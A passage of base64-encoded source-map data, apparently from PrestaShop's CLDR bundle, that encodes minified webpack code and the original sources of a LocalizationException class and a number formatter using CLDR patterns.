CZ08sRUFBZXhDLEVBQU82TCxLQUFNLFFBQVEsSSxlQ3JQcEMsRUFBUSxNQUFSLENBQXlCLGtCLGdCQ0F6QixFQUFRLE1BQVIsQ0FBeUIsZSxnQkNBekIsRUFBUSxNQVlSLElBWEEsSUFBSTdMLEVBQVMsRUFBUSxPQUNqQkUsRUFBTyxFQUFRLE9BQ2Y4QixFQUFZLEVBQVEsT0FDcEJpTSxFQUFnQixFQUFRLE1BQVIsQ0FBa0IsZUFFbENDLEVBQWUsd2JBSVV6WSxNQUFNLEtBRTFCMkUsRUFBSSxFQUFHQSxFQUFJOFQsRUFBYWpZLE9BQVFtRSxJQUFLLENBQzVDLElBQUlzSSxFQUFPd0wsRUFBYTlULEdBQ3BCK1QsRUFBYW5PLEVBQU8wQyxHQUNwQmlCLEVBQVF3SyxHQUFjQSxFQUFXdlQsVUFDakMrSSxJQUFVQSxFQUFNc0ssSUFBZ0IvTixFQUFLeUQsRUFBT3NLLEVBQWV2TCxHQUMvRFYsRUFBVVUsR0FBUVYsRUFBVXBHLFEsZ0JDUDlCLElBU0l3UyxFQUFlLHNCQUNmQyxFQUFrQjVXLE9BQU8yVyxFQUFhOU4sUUFHdENnTyxFQUE4QixpQkFBVixFQUFBQyxHQUFzQixFQUFBQSxHQUFVLEVBQUFBLEVBQU96UyxTQUFXQSxRQUFVLEVBQUF5UyxFQUdoRkMsRUFBMEIsaUJBQVJsVCxNQUFvQkEsTUFBUUEsS0FBS1EsU0FBV0EsUUFBVVIsS0FHeEVtVCxFQUFPSCxHQUFjRSxHQUFZbk4sU0FBUyxjQUFUQSxHQVVqQ3FOLEVBUGM1UyxPQUFPbEIsVUFPUXBGLFNBRzdCc1UsRUFBUzJFLEVBQUszRSxPQUdkNkUsRUFBYzdFLEVBQVNBLEVBQU9sUCxlQUFZdEcsRUFDMUNzYSxFQUFpQkQsRUFBY0EsRUFBWW5aLGNBQVdsQixFQXVIMURrRixFQUFPQyxRQVBQLFNBQXNCb1YsR0FuQnRCLElBQWtCelQsRUFxQmhCLE9BREF5VCxFQW5CZ0IsT0FEQXpULEVBb0JFeVQsR0FuQkssR0FwRnpCLFNBQXNCelQsR0FFcEIsR0FBb0IsaUJBQVRBLEVBQ1QsT0FBT0EsRUFFVCxHQW9ERixTQUFrQkEsR0FDaEIsTUFBdUIsaUJBQVRBLEdBdEJoQixTQUFzQkEsR0FDcEIsUUFBU0EsR0FBeUIsaUJBQVRBLEVBc0J0QjBULENBQWExVCxJQXRHRixtQkFzR1lzVCxFQUFlblQsS0FBS0gsR0F0RDFDeVIsQ0FBU3pSLEdBQ1gsT0FBT3dULEVBQWlCQSxFQUFlclQsS0FBS0gsR0FBUyxHQUV2RCxJQUFJN0YsRUFBVTZGLEVBQVEsR0FDdEIsTUFBa0IsS0FBVjdGLEdBQWtCLEVBQUk2RixJQUFVLElBQWEsS0FBTzdGLEVBMkVoQ3daLENBQWEzVCxLQW9CdkJpVCxFQUFnQnhHLEtBQUtnSCxHQUNuQ0EsRUFBT3RZLFFBQVE2WCxFQUFjLFFBQzdCUyxLQ2pLRkcsRUFBMkIsR0FHL0IsU0FBU0MsRUFBb0JDLEdBRTVCLElBQUlDLEVBQWVILEVBQXlCRSxHQUM1QyxRQUFxQjVhLElBQWpCNmEsRUFDSCxPQUFPQSxFQUFhMVYsUUFHckIsSUFBSUQsRUFBU3dWLEVBQXlCRSxHQUFZLENBR2pEelYsUUFBUyxJQU9WLE9BSEEyVixFQUFvQkYsR0FBVTFWLEVBQVFBLEVBQU9DLFFBQVN3VixHQUcvQ3pWLEVBQU9DLFFDckJmd1YsRUFBb0JWLEVBQUksV0FDdkIsR0FBMEIsaUJBQWZjLFdBQXlCLE9BQU9BLFdBQzNDLElBQ0MsT0FBT3ZiLE1BQVEsSUFBSXVOLFNBQVMsY0FBYixHQUNkLE1BQU9oRCxHQUNSLEdBQXNCLGlCQUFYcUQsT0FBcUIsT0FBT0EsUUFMakIsRyx3S0N3QnhCLEksSUFBQSxVLElBQ0EsVSxJQUNBLFUsSUFDQSxVLHdFQUdFL0osVSxzQkFDQWdCLFUsa0JBQ0F6RSxVLGVBQ0E4RCxXIiwiZmlsZSI6ImNsZHIuYnVuZGxlLmpzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgc2luY2UgMjAwNyBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnNcbiAqIFByZXN0YVNob3AgaXMgYW4gSW50ZXJuYXRpb25hbCBSZWdpc3RlcmVkIFRyYWRlbWFyayAmIFByb3BlcnR5IG9mIFByZXN0YVNob3AgU0FcbiAqXG4gKiBOT1RJQ0UgT0YgTElDRU5TRVxuICpcbiAqIFRoaXMgc291cmNlIGZpbGUgaXMgc3ViamVjdCB0byB0aGUgT3BlbiBTb2Z0d2FyZSBMaWNlbnNlIChPU0wgMy4wKVxuICogdGhhdCBpcyBidW5kbGVkIHdpdGggdGhpcyBwYWNrYWdlIGluIHRoZSBmaWxlIExJQ0VOU0UubWQuXG4gKiBJdCBpcyBhbHNvIGF2YWlsYWJsZSB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiBhdCB0aGlzIFVSTDpcbiAqIGh0dHBzOi8vb3BlbnNvdXJjZS5vcmcvbGljZW5zZXMvT1NMLTMuMFxuICogSWYgeW91IGRpZCBub3QgcmVjZWl2ZSBhIGNvcHkgb2YgdGhlIGxpY2Vuc2UgYW5kIGFyZSB1bmFibGUgdG9cbiAqIG9idGFpbiBpdCB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiwgcGxlYXNlIHNlbmQgYW4gZW1haWxcbiAqIHRvIGxpY2Vuc2VAcHJlc3Rhc2hvcC5jb20gc28gd2UgY2FuIHNlbmQgeW91IGEgY29weSBpbW1lZGlhdGVseS5cbiAqXG4gKiBESVNDTEFJTUVSXG4gKlxuICogRG8gbm90IGVkaXQgb3IgYWRkIHRvIHRoaXMgZmlsZSBpZiB5b3Ugd2lzaCB0byB1cGdyYWRlIFByZXN0YVNob3AgdG8gbmV3ZXJcbiAqIHZlcnNpb25zIGluIHRoZSBmdXR1cmUuIElmIHlvdSB3aXNoIHRvIGN1c3RvbWl6ZSBQcmVzdGFTaG9wIGZvciB5b3VyXG4gKiBuZWVkcyBwbGVhc2UgcmVmZXIgdG8gaHR0cHM6Ly9kZXZkb2NzLnByZXN0YXNob3AuY29tLyBmb3IgbW9yZSBpbmZvcm1hdGlvbi5cbiAqXG4gKiBAYXV0aG9yICAgIFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9ycyA8Y29udGFjdEBwcmVzdGFzaG9wLmNvbT5cbiAqIEBjb3B5cmlnaHQgU2luY2UgMjAwNyBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnNcbiAqIEBsaWNlbnNlICAgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9PU0wtMy4wIE9wZW4gU29mdHdhcmUgTGljZW5zZSAoT1NMIDMuMClcbiAqL1xuY2xhc3MgTG9jYWxpemF0aW9uRXhjZXB0aW9uIHtcbiAgY29uc3RydWN0b3IobWVzc2FnZSkge1xuICAgIHRoaXMubWVzc2FnZSA9IG1lc3NhZ2U7XG4gICAgdGhpcy5uYW1lID0gJ0xvY2FsaXphdGlvbkV4Y2VwdGlvbic7XG4gIH1cbn1cblxuZXhwb3J0IGRlZmF1bHQgTG9jYWxpemF0aW9uRXhjZXB0aW9uO1xuIiwiLyoqXG4gKiBDb3B5cmlnaHQgc2luY2UgMjAwNyBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnNcbiAqIFByZXN0YVNob3AgaXMgYW4gSW50ZXJuYXRpb25hbCBSZWdpc3RlcmVkIFRyYWRlbWFyayAmIFByb3BlcnR5IG9mIFByZXN0YVNob3AgU0FcbiAqXG4gKiBOT1RJQ0UgT0YgTElDRU5TRVxuICpcbiAqIFRoaXMgc291cmNlIGZpbGUgaXMgc3ViamVjdCB0byB0aGUgT3BlbiBTb2Z0d2FyZSBMaWNlbnNlIChPU0wgMy4wKVxuICogdGhhdCBpcyBidW5kbGVkIHdpdGggdGhpcyBwYWNrYWdlIGluIHRoZSBmaWxlIExJQ0VOU0UubWQuXG4gKiBJdCBpcyBhbHNvIGF2YWlsYWJsZSB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiBhdCB0aGlzIFVSTDpcbiAqIGh0dHBzOi8vb3BlbnNvdXJjZS5vcmcvbGljZW5zZXMvT1NMLTMuMFxuICogSWYgeW91IGRpZCBub3QgcmVjZWl2ZSBhIGNvcHkgb2YgdGhlIGxpY2Vuc2UgYW5kIGFyZSB1bmFibGUgdG9cbiAqIG9idGFpbiBpdCB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiwgcGxlYXNlIHNlbmQgYW4gZW1haWxcbiAqIHRvIGxpY2Vuc2VAcHJlc3Rhc2hvcC5jb20gc28gd2UgY2FuIHNlbmQgeW91IGEgY29weSBpbW1lZGlhdGVseS5cbiAqXG4gKiBESVNDTEFJTUVSXG4gKlxuICogRG8gbm90IGVkaXQgb3IgYWRkIHRvIHRoaXMgZmlsZSBpZiB5b3Ugd2lzaCB0byB1cGdyYWRlIFByZXN0YVNob3AgdG8gbmV3ZXJcbiAqIHZlcnNpb25zIGluIHRoZSBmdXR1cmUuIElmIHlvdSB3aXNoIHRvIGN1c3RvbWl6ZSBQcmVzdGFTaG9wIGZvciB5b3VyXG4gKiBuZWVkcyBwbGVhc2UgcmVmZXIgdG8gaHR0cHM6Ly9kZXZkb2NzLnByZXN0YXNob3AuY29tLyBmb3IgbW9yZSBpbmZvcm1hdGlvbi5cbiAqXG4gKiBAYXV0aG9yICAgIFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9ycyA8Y29udGFjdEBwcmVzdGFzaG9wLmNvbT5cbiAqIEBjb3B5cmlnaHQgU2luY2UgMjAwNyBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnNcbiAqIEBsaWNlbnNlICAgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9PU0wtMy4wIE9wZW4gU29mdHdhcmUgTGljZW5zZSAoT1NMIDMuMClcbiAqL1xuLyoqXG4gKiBUaGVzZSBwbGFjZWhvbGRlcnMgYXJlIHVzZWQgaW4gQ0xEUiBudW1iZXIgZm9ybWF0dGluZyB0ZW1wbGF0ZXMuXG4gKiBUaGV5IGFyZSBtZWFudCB0byBiZSByZXBsYWNlZCBieSB0aGUgY29ycmVjdCBsb2NhbGl6ZWQgc3ltYm9scyBpbiB0aGUgbnVtYmVyIGZvcm1hdHRpbmcgcHJvY2Vzcy5cbiAqL1xuaW1wb3J0IE51bWJlclN5bWJvbCBmcm9tICdAYXBwL2NsZHIvbnVtYmVyLXN5bWJvbCc7XG5pbXBvcnQgUHJpY2VTcGVjaWZpY2F0aW9uIGZyb20gJ0BhcHAvY2xkci9zcGVjaWZpY2F0aW9ucy9wcmljZSc7XG5pbXBvcnQgTnVtYmVyU3BlY2lmaWNhdGlvbiBmcm9tICdAYXBwL2NsZHIvc3BlY2lmaWNhdGlvbnMvbnVtYmVyJztcblxuY29uc3QgZXNjYXBlUkUgPSByZXF1aXJlKCdsb2Rhc2guZXNjYXBlcmVnZXhwJyk7XG5cbmNvbnN0IENVUlJFTkNZX1NZTUJPTF9QTEFDRUhPTERFUiA9ICfCpCc7XG5jb25zdCBERUNJTUFMX1NFUEFSQVRPUl9QTEFDRUhPTERFUiA9ICcuJztcbmNvbnN0IEdST1VQX1NFUEFSQVRPUl9QTEFDRUhPTERFUiA9ICcsJztcbmNvbnN0IE1JTlVTX1NJR05fUExBQ0VIT0xERVIgPSAnLSc7XG5jb25zdCBQRVJDRU5UX1NZTUJPTF9QTEFDRUhPTERFUiA9ICclJztcbmNvbnN0IFBMVVNfU0lHTl9QTEFDRUhPTERFUiA9ICcrJztcblxuY2xhc3MgTnVtYmVyRm9ybWF0dGVyIHtcbiAgLyoqXG4gICAqIEBwYXJhbSBOdW1iZXJTcGVjaWZpY2F0aW9uIHNwZWNpZmljYXRpb24gTnVtYmVyIHNwZWNpZmljYXRpb24gdG8gYmUgdXNlZFxuICAgKiAgIChjYW4gYmUgYSBudW1iZXIgc3BlYywgYSBwcmljZSBzcGVjLCBhIHBlcmNlbnRhZ2Ugc3BlYylcbiAgICovXG4gIGNvbnN0cnVjdG9yKHNwZWNpZmljYXRpb24pIHtcbiAgICB0aGlzLm51bWJlclNwZWNpZmljYXRpb24gPSBzcGVjaWZpY2F0aW9uO1xuICB9XG5cbiAgLyoqXG4gICAqIEZvcm1hdHMgdGhlIHBhc3NlZCBudW1iZXIgYWNjb3JkaW5nIHRvIHNwZWNpZmljYXRpb25zLlxuICAgKlxuICAgKiBAcGFyYW0gaW50fGZsb2F0fHN0cmluZyBudW1iZXIgVGhlIG51bWJlciB0byBmb3JtYXRcbiAgICogQHBhcmFtIE51bWJlclNwZWNpZmljYXRpb24gc3BlY2lmaWNhdGlvbiBOdW1iZXIgc3BlY2lmaWNhdGlvbiB0byBiZSB1c2VkXG4gICAqICAgKGNhbiBiZSBhIG51bWJlciBzcGVjLCBhIHByaWNlIHNwZWMsIGEgcGVyY2VudGFnZSBzcGVjKVxuICAgKlxuICAgKiBAcmV0dXJuIHN0cmluZyBUaGUgZm9ybWF0dGVkIG51bWJlclxuICAgKiAgICAgICAgICAgICAgICBZb3Ugc2hvdWxkIHVzZSB0aGlzIHRoaXMgdmFsdWUgZm9yIGRpc3BsYXksIHdpdGhvdXQgbW9kaWZ5aW5nIGl0XG4gICAqL1xuICBmb3JtYXQobnVtYmVyLCBzcGVjaWZpY2F0aW9uKSB7XG4gICAgaWYgKHNwZWNpZmljYXRpb24gIT09IHVuZGVmaW5lZCkge1xuICAgICAgdGhpcy5udW1iZXJTcGVjaWZpY2F0aW9uID0gc3BlY2lmaWNhdGlvbjtcbiAgICB9XG5cbiAgICAvKlxuICAgICAqIFdlIG5lZWQgdG8gd29yayBvbiB0aGUgYWJzb2x1dGUgdmFsdWUgZmlyc3QuXG4gICAgICogVGhlbiB0aGUgQ0xEUiBwYXR0ZXJuIHdpbGwgYWRkIHRoZSBzaWduIGlmIHJlbGV2YW50IChhdCB0aGUgZW5kKS5cbiAgICAgKi9cbiAgICBjb25zdCBudW0gPSBNYXRoLmFicyhudW1iZXIpLnRvRml4ZWQodGhpcy5udW1iZXJTcGVjaWZpY2F0aW9uLmdldE1heEZyYWN0aW9uRGlnaXRzKCkpO1xuXG4gICAgbGV0IFttYWpvckRpZ2l0cywgbWlub3JEaWdpdHNdID0gdGhpcy5leHRyYWN0TWFqb3JNaW5vckRpZ2l0cyhudW0pO1xuICAgIG1ham9yRGlnaXRzID0gdGhpcy5zcGxpdE1ham9yR3JvdXBzKG1ham9yRGlnaXRzKTtcbiAgICBtaW5vckRpZ2l0cyA9IHRoaXMuYWRqdXN0TWlub3JEaWdpdHNaZXJvZXMobWlub3JEaWdpdHMpO1xuXG4gICAgLy8gQXNzZW1ibGUgdGhlIGZpbmFsIG51bWJlclxuICAgIGxldCBmb3JtYXR0ZWROdW1iZXIgPSBtYWpvckRpZ2l0cztcblxuICAgIGlmIChtaW5vckRpZ2l0cykge1xuICAgICAgZm9ybWF0dGVkTnVtYmVyICs9IERFQ0lNQUxfU0VQQVJBVE9SX1BMQUNFSE9MREVSICsgbWlub3JEaWdpdHM7XG4gICAgfVxuXG4gICAgLy8gR2V0IHRoZSBnb29kIENMRFIgZm9ybWF0dGluZyBwYXR0ZXJuLiBTaWduIGlzIGltcG9ydGFudCBoZXJlICFcbiAgICBjb25zdCBwYXR0ZXJuID0gdGhpcy5nZXRDbGRyUGF0dGVybihudW1iZXIgPCAwKTtcbiAgICBmb3JtYXR0ZWROdW1iZXIgPSB0aGlzLmFkZFBsYWNlaG9sZGVycyhmb3JtYXR0ZWROdW1iZXIsIHBhdHRlcm4pO1xuICAgIGZvcm1hdHRlZE51bWJlciA9IHRoaXMucmVwbGFjZVN5bWJvbHMoZm9ybWF0dGVkTnVtYmVyKTtcblxuICAgIGZvcm1hdHRlZE51bWJlciA9IHRoaXMucGVyZm9ybVNwZWNpZmljUmVwbGFjZW1lbnRzKGZvcm1hdHRlZE51bWJlcik7XG5cbiAgICByZXR1cm4gZm9ybWF0dGVkTnVtYmVyO1xuICB9XG5cbiAgLyoqXG4gICAqIEdldCBudW1iZXIncyBtYWpvciBhbmQgbWlub3IgZGlnaXRzLlxuICAgKlxuICAgKiBNYWpvciBkaWdpdHMgYXJlIHRoZSBcImludGVnZXJcIiBwYXJ0IChiZWZvcmUgZGVjaW1hbCBzZXBhcmF0b3IpLFxuICAgKiBtaW5vciBkaWdpdHMgYXJlIHRoZSBmcmFjdGlvbmFsIHBhcnRcbiAgICogUmVzdWx0IHdpbGwgYmUgYW4gYXJyYXkgb2YgZXhhY3RseSAyIGl0ZW1zOiBbbWFqb3JEaWdpdHMsIG1pbm9yRGlnaXRzXVxuICAgKlxuICAgKiBVc2FnZSBleGFtcGxlOlxuICAgKiAgbGlzdChtYWpvckRpZ2l0cywgbWlub3JEaWdpdHMpID0gdGhpcy5nZXRNYWpvck1pbm9yRGlnaXRzKGRlY2ltYWxOdW1iZXIpO1xuICAgKlxuICAgKiBAcGFyYW0gRGVjaW1hbE51bWJlciBudW1iZXJcbiAgICpcbiAgICogQHJldHVybiBzdHJpbmdbXVxuICAgKi9cbiAgZXh0cmFjdE1ham9yTWlub3JEaWdpdHMobnVtYmVyKSB7XG4gICAgLy8gR2V0IHRoZSBudW1iZXIncyBtYWpvciBhbmQgbWlub3IgZGlnaXRzLlxuICAgIGNvbnN0IHJlc3VsdCA9IG51bWJlci50b1N0cmluZygpLnNwbGl0KCcuJyk7XG4gICAgY29uc3QgbWFqb3JEaWdpdHMgPSByZXN1bHRbMF07XG4gICAgY29uc3QgbWlub3JEaWdpdHMgPSAocmVzdWx0WzFdID09PSB1bmRlZmluZWQpID8gJycgOiByZXN1bHRbMV07XG5cbiAgICByZXR1cm4gW21ham9yRGlnaXRzLCBtaW5vckRpZ2l0c107XG4gIH1cblxuICAvKipcbiAgICogU3BsaXRzIG1ham9yIGRpZ2l0cyBpbnRvIGdyb3Vwcy5cbiAgICpcbiAgICogZS5nLjogR2l2ZW4gdGhlIG1ham9yIGRpZ2l0cyBcIjEyMzQ1NjdcIiwgYW5kIG1ham9yIGdyb3VwIHNpemVcbiAgICogIGNvbmZpZ3VyZWQgdG8gMyBkaWdpdHMsIHRoZSByZXN1bHQgd291bGQgYmUgXCIxIDIzNCA1NjdcIlxuICAgKlxuICAgKiBAcGFyYW0gc3RyaW5nIG1ham9yRGlnaXRzIFRoZSBtYWpvciBkaWdpdHMgdG8gYmUgZ3JvdXBlZFxuICAgKlxuICAgKiBAcmV0dXJuIHN0cmluZyBUaGUgZ3JvdXBlZCBtYWpvciBkaWdpdHNcbiAgICovXG4gIHNwbGl0TWFqb3JHcm91cHMoZGlnaXQpIHtcbiAgICBpZiAoIXRoaXMubnVtYmVyU3BlY2lmaWNhdGlvbi5pc0dyb3VwaW5nVXNlZCgpKSB7XG4gICAgICByZXR1cm4gZGlnaXQ7XG4gICAgfVxuXG4gICAgLy8gUmV2ZXJzZSB0aGUgbWFqb3IgZGlnaXRzLCBzaW5jZSB0aGV5IGFyZSBncm91cGVkIGZyb20gdGhlIHJpZ2h0LlxuICAgIGNvbnN0IG1ham9yRGlnaXRzID0gZGlnaXQuc3BsaXQoJycpLnJldmVyc2UoKTtcblxuICAgIC8vIEdyb3VwIHRoZSBtYWpvciBkaWdpdHMuXG4gICAgbGV0IGdyb3VwcyA9IFtdO1xuICAgIGdyb3Vwcy5wdXNoKG1ham9yRGlnaXRzLnNwbGljZSgwLCB0aGlzLm51bWJlclNwZWNpZmljYXRpb24uZ2V0UHJpbWFyeUdyb3VwU2l6ZSgpKSk7XG4gICAgd2hpbGUgKG1ham9yRGlnaXRzLmxlbmd0aCkge1xuICAgICAgZ3JvdXBzLnB1c2gobWFqb3JEaWdpdHMuc3BsaWNlKDAsIHRoaXMubnVtYmVyU3BlY2lmaWNhdGlvbi5nZXRTZWNvbmRhcnlHcm91cFNpemUoKSkpO1xuICAgIH1cblxuICAgIC8vIFJldmVyc2UgYmFjayB0aGUgZGlnaXRzIGFuZCB0aGUgZ3JvdXBzXG4gICAgZ3JvdXBzID0gZ3JvdXBzLnJldmVyc2UoKTtcbiAgICBjb25zdCBuZXdHcm91cHMgPSBbXTtcbiAgICBncm91cHMuZm9yRWFjaCgoZ3JvdXApID0+IHtcbiAgICAgIG5ld0dyb3Vwcy5wdXNoKGdyb3VwLnJldmVyc2UoKS5qb2luKCcnKSk7XG4gICAgfSk7XG5cbiAgICAvLyBSZWNvbnN0cnVjdCB0aGUgbWFqb3IgZGlnaXRzLlxuICAgIHJldHVybiBuZXdHcm91cHMuam9pbihHUk9VUF9TRVBBUkFUT1JfUExBQ0VIT0xERVIpO1xuICB9XG5cbiAgLyoqXG4gICAqIEFkZHMgb3IgcmVtb3ZlIHRyYWlsaW5nIHplcm9lcywgZGVwZW5kaW5nIG9uIHNwZWNpZmllZCBtaW4gYW5kIG1heCBmcmFjdGlvbiBkaWdpdHMgbnVtYmVycy5cbiAgICpcbiAgICogQHBhcmFtIHN0cmluZyBtaW5vckRpZ2l0cyBEaWdpdHMgdG8gYmUgYWRqdXN0ZWQgd2l0aCAodHJpbW1lZCBvciBwYWRkZWQpIHplcm9lc1xuICAgKlxuICAgKiBAcmV0dXJuIHN0cmluZyBUaGUgYWRqdXN0ZWQgbWlub3IgZGlnaXRzXG4gICAqL1xuICBhZGp1c3RNaW5vckRpZ2l0c1plcm9lcyhtaW5vckRpZ2l0cykge1xuICAgIGxldCBkaWdpdCA9IG1pbm9yRGlnaXRzO1xuXG4gICAgaWYgKGRpZ2l0Lmxlbmd0aCA+IHRoaXMubnVtYmVyU3BlY2lmaWNhdGlvbi5nZXRNYXhGcmFjdGlvbkRpZ2l0cygpKSB7XG4gICAgICAvLyBTdHJpcCBhbnkgdHJhaWxpbmcgemVyb2VzLlxuICAgICAgZGlnaXQgPSBkaWdpdC5yZXBsYWNlKC8wKyQvLCAnJyk7XG4gICAgfVxuXG4gICAgaWYgKGRpZ2l0Lmxlbmd0aCA8IHRoaXMubnVtYmVyU3BlY2lmaWNhdGlvbi5nZXRNaW5GcmFjdGlvbkRpZ2l0cygpKSB7XG4gICAgICAvLyBSZS1hZGQgbmVlZGVkIHplcm9lc1xuICAgICAgZGlnaXQgPSBkaWdpdC5wYWRFbmQoXG4gICAgICAgIHRoaXMubnVtYmVyU3BlY2lmaWNhdGlvbi5nZXRNaW5GcmFjdGlvbkRpZ2l0cygpLFxuICAgICAgICAnMCcsXG4gICAgICApO1xuICAgIH1cblxuICAgIHJldHVybiBkaWdpdDtcbiAgfVxuXG4gIC8qKlxuICAgKiBHZXQgdGhlIENMRFIgZm9ybWF0dGluZyBwYXR0ZXJuLlxuICAgKlxuICAgKiBAc2VlIGh0dHA6Ly9jbGRyLnVuaWNvZGUub3JnL3RyYW5zbGF0aW9uL251bWJlci1wYXR0ZXJuc1xuICAgKlxuICAgKiBAcGFyYW0gYm9vbCBpc05lZ2F0aXZlIElmIHRydWUsIHRoZSBuZWdhdGl2ZSBwYXR0ZXJuXG4gICAqIHdpbGwgYmUgcmV0dXJuZWQgaW5zdGVhZCBvZiB0aGUgcG9zaXRpdmUgb25lXG4gICAqXG4gICAqIEByZXR1cm4gc3RyaW5nIFRoZSBDTERSIGZvcm1hdHRpbmcgcGF0dGVyblxuICAgKi9cbiAgZ2V0Q2xkclBhdHRlcm4oaXNOZWdhdGl2ZSkge1xuICAgIGlmIChpc05lZ2F0aXZlKSB7XG4gICAgICByZXR1cm4gdGhpcy5udW1iZXJTcGVjaWZpY2F0aW9uLmdldE5lZ2F0aXZlUGF0dGVybigpO1xuICAgIH1cblxuICAgIHJldHVybiB0aGlzLm51bWJlclNwZWNpZmljYXRpb24uZ2V0UG9zaXRpdmVQYXR0ZXJuKCk7XG4gIH1cblxuICAvKipcbiAgICogUmVwbGFjZSBwbGFjZWhvbGRlciBudW1iZXIgc3ltYm9scyB3aXRoIHJlbGV2YW50IG51bWJlcmluZyBzeXN0ZW0ncyBzeW1ib2xzLlxuICAgKlxuICAgKiBAcGFyYW0gc3RyaW5nIG51bWJlclxuICAgKiAgICAgICAgICAgICAgICAgICAgICAgVGhlIG51bWJlciB0byBwcm9jZXNzXG4gICAqXG4gICAqIEByZXR1cm4gc3RyaW5nXG4gICAqICAgICAgICAgICAgICAgIFRoZSBudW1iZXIgd2l0aCByZXBsYWNlZCBzeW1ib2xzXG4gICAqL1xuICByZXBsYWNlU3ltYm9scyhudW1iZXIpIHtcbiAgICBjb25zdCBzeW1ib2xzID0gdGhpcy5udW1iZXJTcGVjaWZpY2F0aW9uLmdldFN5bWJvbCgpO1xuXG4gICAgY29uc3QgbWFwID0ge307XG4gICAgbWFwW0RFQ0lNQUxfU0VQQVJBVE9SX1BMQUNFSE9MREVSXSA9IHN5bWJvbHMuZ2V0RGVjaW1hbCgpO1xuICAgIG1hcFtHUk9VUF9TRVBBUkFUT1JfUExBQ0VIT0xERVJdID0gc3ltYm9scy5nZXRHcm91cCgpO1xuICAgIG1hcFtNSU5VU19TSUdOX1BMQUNFSE9MREVSXSA9IHN5bWJvbHMuZ2V0TWludXNTaWduKCk7XG4gICAgbWFwW1BFUkNFTlRfU1lNQk9MX1BMQUNFSE9MREVSXSA9IHN5bWJvbHMuZ2V0UGVyY2VudFNpZ24oKTtcbiAgICBtYXBbUExVU19TSUdOX1BMQUNFSE9MREVSXSA9IHN5bWJvbHMuZ2V0UGx1c1NpZ24oKTtcblxuICAgIHJldHVybiB0aGlzLnN0cnRyKG51bWJlciwgbWFwKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBzdHJ0cigpIGZvciBKYXZhU2NyaXB0XG4gICAqIFRyYW5zbGF0ZSBjaGFyYWN0ZXJzIG9yIHJlcGxhY2Ugc3Vic3RyaW5nc1xuICAgKlxuICAgKiBAcGFyYW0gc3RyXG4gICAqICBTdHJpbmcgdG8gcGFyc2VcbiAgICogQHBhcmFtIHBhaXJzXG4gICAqICBIYXNoIG9mICgnZnJvbScgPT4gJ3RvJywgLi4uKS5cbiAgICpcbiAgICogQHJldHVybiBzdHJpbmdcbiAgICovXG4gIHN0cnRyKHN0ciwgcGFpcnMpIHtcbiAgICBjb25zdCBzdWJzdHJzID0gT2JqZWN0LmtleXMocGFpcnMpLm1hcChlc2NhcGVSRSk7XG5cbiAgICByZXR1cm4gc3RyLnNwbGl0KFJlZ0V4cChgKCR7c3Vic3Rycy5qb2luKCd8Jyl9KWApKVxuICAgICAgLm1hcCgocGFydCkgPT4gcGFpcnNbcGFydF0gfHwgcGFydClcbiAgICAgIC5qb2luKCcnKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBBZGQgbWlzc2luZyBwbGFjZWhvbGRlcnMgdG8gdGhlIG51bWJlciB1c2luZyB0aGUgcGFzc2VkIENMRFIgcGF0dGVybi5cbiAgICpcbiAgICogTWlzc2luZyBwbGFjZWhvbGRlcnMgY2FuIGJlIHRoZSBwZXJjZW50IHNpZ24sIGN1cnJlbmN5IHN5bWJvbCwgZXRjLlxuICAgKlxuICAgKiBlLmcuIHdpdGggYSBjdXJyZW5jeSBDTERSIHBhdHRlcm46XG4gICAqICAtIFBhc3NlZCBudW1iZXIgKHBhcnRpYWxseSBmb3JtYXR0ZWQpOiAxLDIzNC41NjdcbiAgICogIC0gUmV0dXJuZWQgbnVtYmVyOiAxLDIzNC41NjcgwqRcbiAgICogIChcIsKkXCIgc3ltYm9sIGlzIHRoZSBjdXJyZW5jeSBzeW1ib2wgcGxhY2Vob2xkZXIpXG4gICAqXG4gICAqIEBzZWUgaHR0cDovL2NsZHIudW5pY29kZS5vcmcvdHJhbnNsYXRpb24vbnVtYmVyLXBhdHRlcm5zXG4gICAqXG4gICAqIEBwYXJhbSBmb3JtYXR0ZWROdW1iZXJcbiAgICogIE51bWJlciB0byBwcm9jZXNzXG4gICAqIEBwYXJhbSBwYXR0ZXJuXG4gICAqICBDTERSIGZvcm1hdHRpbmcgcGF0dGVybiB0byB1c2VcbiAgICpcbiAgICogQHJldHVybiBzdHJpbmdcbiAgICovXG4gIGFkZFBsYWNlaG9sZGVycyhmb3JtYXR0ZWROdW1iZXIsIHBhdHRlcm4pIHtcbiAgICAvKlxuICAgICAqIFJlZ2V4IGdyb3VwcyBleHBsYW5hdGlvbjpcbiAgICAgKiAjICAgICAgICAgIDogbGl0ZXJhbCBcIiNcIiBjaGFyYWN0ZXIuIE9uY2UuXG4gICAgICogKCwjKykqICAgICA6IGFueSBvdGhlciBcIiNcIiBjaGFyYWN0ZXJzIGdyb3VwLCBzZXBhcmF0ZWQgYnkgXCIsXCIuIFplcm8gdG8gaW5maW5pdHkgdGltZXMuXG4gICAgICogMCAgICAgICAgICA6IGxpdGVyYWwgXCIwXCIgY2hhcmFjdGVyLiBPbmNlLlxuICAgICAqIChcXC5bMCNdKykqIDogYW55IGNvbWJpbmF0aW9uIG9mIFwiMFwiIGFuZCBcIiNcIiBjaGFyYWN0ZXJzIGdyb3Vwcywgc2VwYXJhdGVkIGJ5ICcuJy5cbiAgICAgKiAgICAgICAgICAgICAgWmVybyB0byBpbmZpbml0eSB0aW1lcy5cbiAgICAgKi9cbiAgICByZXR1cm4gcGF0dGVybi5yZXBsYWNlKC8jPygsIyspKjAoXFwuWzAjXSspKi8sIGZvcm1hdHRlZE51bWJlcik7XG4gIH1cblxuIC